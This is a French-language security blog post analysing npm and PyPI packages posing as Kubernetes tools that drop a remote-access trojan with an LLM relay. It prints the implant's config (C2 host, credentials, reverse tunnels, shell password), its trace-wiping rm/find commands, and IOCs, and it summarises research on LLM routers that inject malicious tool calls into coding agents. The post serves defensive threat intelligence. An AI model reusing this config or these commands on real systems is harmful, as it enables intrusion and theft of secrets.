Aikido

Une porte dérobée GPT-Proxy dans npm et PyPI transforme les serveurs en relais pour les modèles de langage chinois

Écrit par
Ilyas Makari

Nous avons récemment détecté deux paquets malveillants sur npm (kube-health-tools) et PyPI (kube-node-health) qui semblent conçus pour cibler les environnements Kubernetes. À première vue, ces deux paquets sont inoffensifs : ils utilisent des noms faisant référence à Kubernetes pour paraître légitimes. Mais en réalité, ils installent discrètement un service de proxy LLM complet sur la machine de la victime, permettant ainsi à l'attaquant d'acheminer le trafic LLM via le serveur compromis, comme s'il s'agissait simplement d'un nœud de relais supplémentaire au sein d'une plateforme commerciale de revente d'IA.

Étape 1 : Les « Droppers »

Ces deux paquets contiennent un binaire natif compilé.

Les deux fichiers de la phase 1 sont les suivants :

  • __init___cpython-311-x86_64-linux-gnu.so  (paquet PyPI)
  • addon.node  (paquet npm)

Il s'agit dans les deux cas de binaires natifs qui s'exécutent lors de l'importation ou lors de require(). Le .so est une extension Python compilée avec Cython ; la .node est un module natif de Node.js. Les deux téléchargent un binaire de phase 2 depuis GitHub. L'URL codée dans le dropper PyPI renvoie vers :

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

Le dropper npm récupère une version plus performante issue de la même version :

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Les deux fichiers binaires sont enregistrés dans /tmp/.kh, marqué comme exécutable, puis lancé immédiatement.

Les deux droppers intègrent également des blocs de configuration chiffrés par XOR qui sont directement transmis au binaire de la phase 2 lors de son lancement. Le binaire de la phase 2 lit la configuration à partir de l'entrée standard, la déchiffre et l'utilise comme configuration d'exécution :

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

La configuration révèle plusieurs éléments concernant le fonctionnement. Le serveur de commande et de contrôle (C2) est sync[.]geeker[.]indevs[.]in, authentifié à l'aide d'identifiants codés en dur (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). Le bloc de dissimulation ordonne à l'implant de faire passer son processus pour node-health-check --mode=daemon, se fondant parmi les commandes légitimes dans la liste des processus.

Les trois tunnels inversés de la configuration mappent chacun un port du serveur C2 de l'attaquant à un service local sur la machine de la victime :

  • Port 4444 itinéraires vers 127.0.0.1:0 (le mandataire LLM)
  • Port 4446 itinéraires vers 127.0.0.1:22 (le serveur SSH de la victime)
  • Port 4445 itinéraires vers 127.0.0.1:8200 (Port par défaut de HashiCorp Vault, un magasin de secrets couramment utilisé dans les environnements Kubernetes)

La variante npm comprend également un mécanisme de secours ngrok, qui passe en revue un ensemble de comptes ngrok fournis par le serveur de commande et de contrôle (C2), exposant ainsi le serveur de la victime via un point de terminaison public.

Après avoir lancé le fichier binaire de la phase 2, le script de diffusion efface systématiquement toute trace de son exécution. Il supprime le fichier binaire téléchargé de /tmp/.kh, supprime un deuxième fichier temporaire à l'emplacement /tmp/.ns, puis, surtout, supprime de manière récursive l'intégralité du kube-health-tools répertoire du paquet à partir de node_modules:

sleep 2
rm -f $P $S
find / -type d -name « kube-health-tools » -chemin "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Dans les deux secondes qui suivent le démarrage du fichier binaire de l'étape 2, toute trace de l'installation a disparu. Une analyse forensic post-incident de node_modules ne trouvera rien.

Étape 2 : cheval de Troie d'accès à distance

Le binaire de niveau 2 est un binaire Go compilé qui regroupe plusieurs fonctionnalités dans un seul exécutable. Il se reconnecte à sync[.]geeker[.]indevs[.]in via WebSocket, établit une session SSH et utilise un Creusement de tunnels au burin protocole permettant d'enregistrer les tunnels définis dans la configuration.

L'implant met en œuvre le tunneling Chisel via WebSocket :

  • Proxy SOCKS5 : le binaire peut mettre en place un proxy SOCKS5 complet, permettant ainsi à l'attaquant d'acheminer du trafic TCP arbitraire via le réseau de la victime.
  • Shell inversé : Configuré avec le mot de passe (123qweASD) qui se trouve dans le bloc de configuration du dropper, offrant ainsi un terminal interactif complet.
  • Serveur SFTP : intègre un serveur SFTP complet, offrant à l'attaquant un accès complet en lecture et en écriture au système de fichiers.
  • LLM proxy : une passerelle API compatible avec OpenAI qui accepte les requêtes et les achemine vers l'amont via des routeurs fournis par l'attaquant.

Le fichier binaire prend soin de se dissimuler après son lancement. Il renomme son processus en vérification de l'état du nœud avec l'argument --mode=démon, ce qui lui permet de se fondre parmi les outils légitimes dans la liste des processus. Il efface également toutes les variables d'environnement concernées dès le démarrage :

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

Cela garantit que si un KH_CFG ou NHC_CFG Une fois que la variable « operator-override » a été définie, elle disparaît de l'environnement avant qu'un contrôle ne puisse la détecter.

Le mandataire LLM

L'implant comprend un proxy LLM entièrement fonctionnel et compatible avec OpenAI, intégré directement dans le binaire de la phase 2. Il s'agit apparemment d'une passerelle API qui accepte les requêtes et les achemine vers des API en amont, notamment des routeurs LLM chinois tels que shubiaobiao.

Le proxy expose quatre routes entrantes, accessibles via le tunnel :

  • GET /santé → 200 OK
  • GET /v1/modèles → Afficher tous les modèles configurés
  • POST /v1/chat/completions → chemin vers l'amont
  • POST /v1/completions → chemin vers l'amont

Lorsqu'une requête est reçue /v1/chat/suggestions, le mandataire :

  1. Lit le modèle champ du corps de la requête
  2. Recherche le nom du modèle dans une table de routage fournie par le C2
  3. Sélectionne une clé API à partir de key_normal ou key_ultra pool, en fonction de la configuration type_clé champ
  4. Réécrit la requête en y incluant l'hôte en amont, le chemin d'accès et le jeton d'authentification Bearer.
  5. Transmet la requête et renvoie la réponse en continu

À partir des chaînes de chemin en amont trouvées dans le fichier binaire, la table de routage associe les noms de modèles à des chemins tels que ceux-ci :

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

Le /gpt-proxy/ le préfixe du chemin, associé à des noms de fournisseurs tels que shubiaobiao, cloudsway et volengine, renvoie vers des agrégateurs intermédiaires plutôt que vers les API officielles des fournisseurs. Ni api.openai.com ni api.anthropic.com apparaître n'importe où dans le fichier binaire.

Le fichier binaire contient 109 chaînes de caractères codées en dur correspondant à des noms de modèles, utilisées pour générer la réponse /v1/models. Elles couvrent les principaux fournisseurs de modèles d'IA, y compris les modèles d'Anthropic (claude-opus-4.6, claude-sonnet-4.6-réflexion), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-aperçu, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), et Alibaba (qwen3-235b-a22b-instruct-2507).

L'écosystème des serveurs proxy chinois

L'exploitation de serveurs proxy sur des machines compromises est une pratique courante dans le paysage des menaces chinoises, en partie due aux restrictions imposées par le Grand Firewall. Auparavant, AhnLab a découvert que des pirates déployaient des outils tels que TinyProxy et Sing-box sur des serveurs honeypot vulnérables afin d'exploiter des services proxy clandestins. En effet, le compte GitHub gibunxi4201, qui héberge la charge utile de la phase 2, semble avoir mené d'autres projets liés aux proxys dans son historique de versions, ce qui correspond au profil d'un opérateur principalement axé sur les infrastructures de proxys.

Ces outils de proxy sont souvent déployés sur des serveurs vulnérables pour obtenir des adresses IP de proxy gratuites, mais aussi sur des services gratuits tels que HuggingFace, Databricks et Streamlit afin de naviguer sur le Web sans subir les restrictions imposées par le Grand Firewall. Le schéma est toujours le même : trouver une ressource peu coûteuse ou compromise et la transformer en serveur proxy gratuit.

Les développeurs chinois ne peuvent souvent pas accéder aux modèles d'IA en raison de restrictions géographiques. Cela a donné naissance à un marché parallèle en plein essor pour l'accès aux API des grands modèles de langage (LLM). Des plateformes chinoises telles que Xianyu, Goofish et Taobao regorgent d'annonces de vendeurs proposant un accès à ChatGPT, Claude et Gemini à un prix bien inférieur à celui pratiqué officiellement, via des points de terminaison de routeurs (comme ceux que l'on trouve dans ce logiciel malveillant). Certains vendeurs proposent même des formations sur la manière de monétiser cette activité en exploitant ses propres routeurs LLM.

Routeurs LLM malveillants

Au-delà d'offrir un accès peu coûteux à l'IA, les routeurs LLM comme celui déployé ici se situent à une frontière de confiance qui peut facilement faire l'objet d'abus. Étant donné que chaque requête transite par le routeur en clair, un opérateur malveillant peut, comme l'ont démontré Hanzhi Liu et al. :

  • Insérer des appels à des outils malveillants dans les réponses des agents de codage avant qu'elles n'atteignent le client, introduisant ainsi des éléments malveillants pip install ou curl | bash charges utiles en vol
  • Extraire discrètement des informations confidentielles contenues dans le corps des requêtes et des réponses, notamment les clés API, les identifiants AWS, les jetons GitHub, les clés privées Ethereum et les invites système

Les chercheurs ont constaté que, sur un ensemble de 428 routeurs standard, 9 injectaient activement du code malveillant dans les réponses aux appels d'outils, et 17 ont été surpris en train d'accéder aux identifiants « canary » AWS appartenant aux chercheurs après les avoir interceptés en transit.

Bien que nous n'ayons trouvé aucune trace d'injection ou d'exfiltration dans cet implant spécifique, tout développeur dont les outils de codage IA transitent par une machine compromise transmet en réalité l'intégralité de sa fenêtre de contexte via un relais contrôlé par un attaquant.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.

Pour vous protéger à l'avenir, pensez à Aikido Chain (open source). Safe Chain s'intègre à votre flux de travail actuel : il intercepte les commandes npm, npx, yarn, pnpm et pnpx et vérifie la conformité des paquets par rapport Aikido avant leur installation.

IOCs

Fichiers malveillants

  • PyPI : kube-node-health
  • npm : kube-health-tools

Hachages de fichiers

  • __init___cpython-311-x86_64-linux-gnu.so (Étape 1 de PyPI)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (npm, phase 1)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-compressé (variante PyPI de niveau 2)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-compressé (variante npm de niveau 2)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Indicateurs réseau

  • Serveur C2 : sync[.]geeker[.]indevs[.]in
  • Téléchargement de la phase 2 : github[.]com/gibunxi4201/kube-node-diag

Indicateurs de processus

  • Nom du processus : vérification de l'état du nœud
  • Chemins d'accès temporaires pour le téléchargement : /tmp/.kh et /tmp/.ns
Partager :

https://www.aikido.dev/blog/gpt-proxy-backdoor-npm-pypi-chinese-llm-relay

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire

Abonnez-vous pour les actualités sur les menaces.

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.